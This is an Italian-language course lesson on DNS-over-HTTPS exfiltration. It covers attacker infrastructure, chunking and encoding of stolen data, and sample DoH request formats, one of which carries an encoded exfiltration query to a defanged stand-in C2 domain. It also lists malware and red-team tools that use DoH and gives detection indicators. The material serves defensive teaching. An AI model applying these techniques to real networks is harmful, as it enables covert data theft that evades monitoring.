DNS over HTTPS (DoH) Exfiltration: il vettore stealth del 2026

DNS over HTTPS (DoH) Exfiltration: il vettore stealth del 2026

Se il subdomain encoding è la tecnica quantitativamente più diffusa, il DNS over HTTPS (DoH) tunneling rappresenta la minaccia qualitativamente più insidiosa nel panorama 2026. Questa lezione analizza in profondità perché DoH è diventato uno dei canali di esfiltrazione più pericolosi, come funziona operativamente e quali strumenti lo sfruttano.

Perché DoH è il vettore perfetto per l'esfiltrazione

DoH incapsula le query DNS all'interno di richieste HTTPS sulla porta 443. Questo singolo fatto architetturale ha conseguenze enormi per la sicurezza:

1. Indistinguibilità dal traffico web: la porta 443 è la porta del traffico HTTPS legittimo. Bloccarla significherebbe disabilitare il web. Il traffico DoH si mescola con miliardi di richieste HTTPS quotidiane.

2. Cifratura end-to-end: il contenuto delle query DNS è cifrato in TLS. Senza TLS interception (con tutte le implicazioni legali e tecniche), il contenuto è invisibile agli strumenti di rete.

3. Abilitazione di default: nel 2026, Firefox, Chrome, Windows 11+, Android 12+ abilitano DoH di default verso resolver pubblici come dns.google, cloudflare-dns.com e 1.1.1.1. Questo crea un baseline di traffico DoH legittimo che maschera quello malevolo.

4. HTTP/3 + QUIC: l'adozione crescente di HTTP/3 su QUIC (UDP 443) aggiunge un ulteriore livello di complessità. QUIC è progettato per resistere all'ispezione intermedia, rendendo la deep packet inspection ancora più difficile.

5. Domain fronting e CDN abuse: gli attaccanti possono sfruttare CDN come Cloudflare, Akamai o Fastly per nascondere il proprio server DoH dietro infrastrutture legittime, rendendo il blocco basato su IP praticamente impossibile.

Flusso operativo di una DoH exfiltration moderna

Infrastruttura lato attaccante

L'attaccante predispone un resolver DoH custom, implementato con tecnologie moderne e difficili da distinguere da servizi legittimi:

• Cloudflare Workers: funzioni serverless che possono agire da resolver DoH, ospitate sull'infrastruttura Cloudflare stessa
• Server DoH leggeri in Go o Rust, deployati su VPS o serverless (AWS Lambda, Vercel)
• Abuso di resolver pubblici con path custom, sfruttando il formato standard /dns-query?

L'infrastruttura può risiedere su un dominio legittimo-looking o come subdomain su CDN, rendendo il blocco basato su reputazione del dominio inefficace.

Encoding e preparazione dei dati

Sul sistema compromesso, i dati sensibili vengono preparati con tecniche ottimizzate per il 2026:

• Chunking: i dati vengono suddivisi in blocchi da 100-400 byte (più grandi rispetto al subdomain encoding tradizionale, grazie alla maggiore capacità del canale HTTPS)
• Encoding principale: Base64url (variante URL-safe di Base64, senza +, / e con -, _), Base32, hex o mapping byte-to-char custom per ridurre pattern riconoscibili
• Padding e offuscamento: aggiunta di testo fittizio o padding random per uniformare la lunghezza delle richieste e ridurre la rilevabilità statistica
• Metadati: session ID e chunk number per la ricostruzione ordinata

Costruzione della richiesta DoH

Le richieste DoH seguono due formati standard:

Metodo POST (più comune per l'esfiltrazione):

POST /dns-query HTTP/2
Host: dns.google
Content-Type: application/dns-message

[binary DNS wire format con subdomain codificato nel campo QNAME]
es: chunk-47.aXNhY3JlZGl0Y2FyZA==.sess-9f8d2.c2-front[.]net

Metodo GET (alternativa stealth):

GET /dns-query?dns=[Base64-encoded wire format] HTTP/2
Host: cloudflare-dns.com

In entrambi i casi, il payload è un messaggio DNS in wire format (formato binario standard RFC 1035) che contiene la query con i dati codificati nel campo QNAME.

Risposta e canale di ritorno

Il server malevolo risponde con record TXT o NULL contenenti comandi di controllo, oppure utilizza CNAME chaining per passare dati al malware. La risposta viaggia cifrata nello stesso canale HTTPS, completamente invisibile a strumenti di rete che non eseguono TLS interception.

Tool e malware con supporto DoH (2025-2026)

L'ecosistema di tool che sfruttano DoH si è significativamente ampliato:

• Dohdoor (2026): malware mirato a settori education e healthcare negli USA, con DoH come canale primario
• Sliver: implant in Go con supporto nativo DoH per C2
• Cobalt Strike: beacon con malleable DoH profile disponibile dalla versione ~2024
• Brute Ratel: varianti con supporto DoH e QUIC
• Tool red-team open-source: doh-exfil (Python/Go), fork di dnscat3 con backend DoH, C2 basati su Cloudflare Workers

IOC specifici per DoH exfiltration

Il rilevamento del DoH exfiltration richiede indicatori diversi rispetto al DNS tradizionale:

• Volume HTTPS verso resolver DoH: più di 200-500 richieste/ora dallo stesso host verso dns.google, cloudflare-dns.com o 1.1.1.1 è anomalo. L'uso DoH legittimo è molto più sporadico.
• Lunghezza body POST o query string GET: superiore a 200-500 byte in modo consistente. Le query DNS normali sono molto più corte.
• Pattern Base64url ricorrenti: stringhe che matchano ^[A-Za-z0-9_-]+={0,2}$ nel body delle richieste.
• Entropia alta nel path o query parameter: entropia di Shannon superiore a 5.8 su stringhe lunghe è indicativa di dati codificati.
• TLS JA3 / HTTP/2 fingerprint anomalo: molti tool di esfiltrazione usano librerie HTTP con fingerprint TLS diversi da quelli dei browser aziendali standard. Un JA3 hash non riconducibile a Chrome, Firefox o Edge su un endpoint aziendale è sospetto.
• Richieste DoH verso resolver non aziendali: in un ambiente dove è forzato un resolver interno, qualsiasi traffico DoH verso resolver pubblici è potenzialmente malevolo.

La combinazione di questi indicatori, integrata in piattaforme NDR con capacità di machine learning, rappresenta nel 2026 lo stato dell'arte per il rilevamento di DoH exfiltration.

← Back to course